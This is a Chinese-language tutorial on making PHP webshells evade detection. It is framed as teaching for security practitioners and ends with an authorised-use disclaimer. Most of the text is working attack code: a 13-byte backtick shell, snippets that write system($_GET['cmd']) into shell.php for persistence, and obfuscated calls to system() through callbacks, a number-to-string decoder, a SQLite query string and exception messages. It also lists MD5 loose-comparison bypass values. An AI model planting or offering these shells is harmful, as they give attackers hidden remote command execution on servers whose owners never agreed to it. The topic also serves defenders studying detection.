PHP WebShell免杀技术深度解析:从零学习到实战绕过
前言
在网络安全攻防对抗中,WebShell作为攻击者维持权限的重要工具,其免杀技术一直是安全研究人员关注的焦点。本文将基于PHP WebShell免杀技术,从基础语法到高级绕过技巧,全面剖析各类免杀方法,帮助安全从业者深入理解WebShell免杀原理。
一、PHP基础语法精要
1.1 PHP基本结构与特性
PHP脚本的基本结构如下:
<?php
// 执行的相关PHP代码
?>
关键特性:
- PHP函数名、方法名、类名不区分大小写
- 常量和变量区分大小写
- 未闭合的
<?php ?>
标签可能导致脚本无法正常运行
1.2 变量与运算符
变量赋值与操作:
$a = 'a';
$b = 'b';
$c = 'c';
$c .= $a; // 字符串拼接
$c .= $b;
echo $c; // 输出:cab
位运算符妙用:
($var & 1) // 判断奇偶:奇数返回true,偶数返回false
1.3 数组操作技巧
数组创建与访问:
$shuzu = array("AabyssZG","AabyssTeam");
echo $shuzu[0]; // 输出:AabyssZG
数组嵌套解析:
$r = 'b[]=AabyssZG&b[]=system';
$rce = array();
parse_str($r, $rce);
echo $rce['b'][1]('whoami'); // 执行系统命令
二、回调函数在免杀中的应用
回调函数是WebShell免杀中的重要技术手段,通过将敏感函数作为参数传递,可以有效规避静态检测。
2.1 常用回调函数示例
array_map('system', array('whoami')); // 基础用法(易被检测)
array_map($_GET['a'], array('whoami')); // 动态参数(仍可能被检测)
array_map('var_dump', array('whoami')); // 使用非敏感函数(较难检测)
2.2 回调函数家族
安全从业者应熟悉以下回调函数,它们在免杀构造中各有妙用:
array_filter()
array_walk()
array_reduce()
call_user_func()
uasort()
三、字符串处理与函数隐藏
3.1 字符串拼接技巧
通过自定义函数实现字符串拼接:
function confusion($a){
$s = ['A','a','b', 'y', 's', 's', 'T', 'e', 'a', 'm'];
$tmp = "";
while ($a>10) {
$tmp .= $s[$a%10];
$a = $a/10;
}
return $tmp.$s[$a];
}
echo confusion(976534); // 输出:system
3.2 常用字符串处理函数
substr()
:字符串截取str_rot13()
:ROT13编码pack()
:数据打包为二进制字符串parse_str()
:解析查询字符串到变量
四、命令执行函数的花式调用
命令执行是WebShell的核心功能,如何绕过检测是关键。
4.1 常见命令执行函数
system('whoami'); // 直接执行并输出
exec('ls', $result); // 结果存入数组
shell_exec('ls'); // 返回执行结果字符串
passthru('ls'); // 直接输出二进制数据
popen('ls', 'r'); // 返回资源句柄
`ls`; // 反引号执行命令
4.2 最短WebShell示例
<?=`$_GET[1]`; // 仅13字节的超短WebShell
五、文件操作与持久化
通过文件操作实现WebShell的持久化存储。
5.1 文件写入方法
// 使用fwrite写入文件
$file = fopen("shell.php","w");
fwrite($file,"<?php system(\$_GET['cmd']); ?>");
fclose($file);
// 使用file_put_contents写入文件
file_put_contents('shell.php', '<?php system($_GET["cmd"]); ?>');
5.2 数据库存储利用
// SQLite数据库示例
$path = "AabyssZG.db";
$db = new PDO("sqlite:" . $path);
$sql_stmt = $db->prepare('select * from test where name="system"');
$sql_stmt->execute();
$f = substr($sql_stmt->queryString, -7, 6);
$f($_GET['aabyss']); // 执行system($_GET['aabyss'])
六、PHP特性与绕过技巧
6.1 哈希比较绕过
if ($_GET['sum1'] != $_GET['sum2'] && md5($_GET['sum1']) == md5($_GET['sum2'])) {
// 绕过成功
}
可利用的MD5碰撞值:
- QNKCDZO → 0e830400451993494058024219903391
- 240610708 → 0e462097431906509019562988736854
6.2 类型转换绕过
// 数组绕过MD5比较
sum1[]=1&sum2[]=2
// 构造特殊字符串实现强类型绕过
sum1=psycho%0A%00...(特殊构造的长字符串)
sum2=psycho%0A%00...(另一特殊构造的长字符串)
七、异常处理类妙用
通过异常处理隐藏敏感操作:
try {
throw new Exception("system");
} catch (Exception $e) {
$e->getMessage()($_GET['cmd']); // 执行system($_GET['cmd'])
}
结语
WebShell免杀技术是攻防对抗中的永恒话题,本文从PHP基础到高级绕过技巧,系统性地介绍了各类免杀方法。值得注意的是,随着安全防护技术的不断提升,免杀技术也在持续演进。安全从业者应当深入研究这些技术,既是为了更好地防御,也是为了更全面地评估系统安全性。
重要提醒: 本文所有技术仅限用于合法授权的安全测试与研究,严禁用于任何非法用途。
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考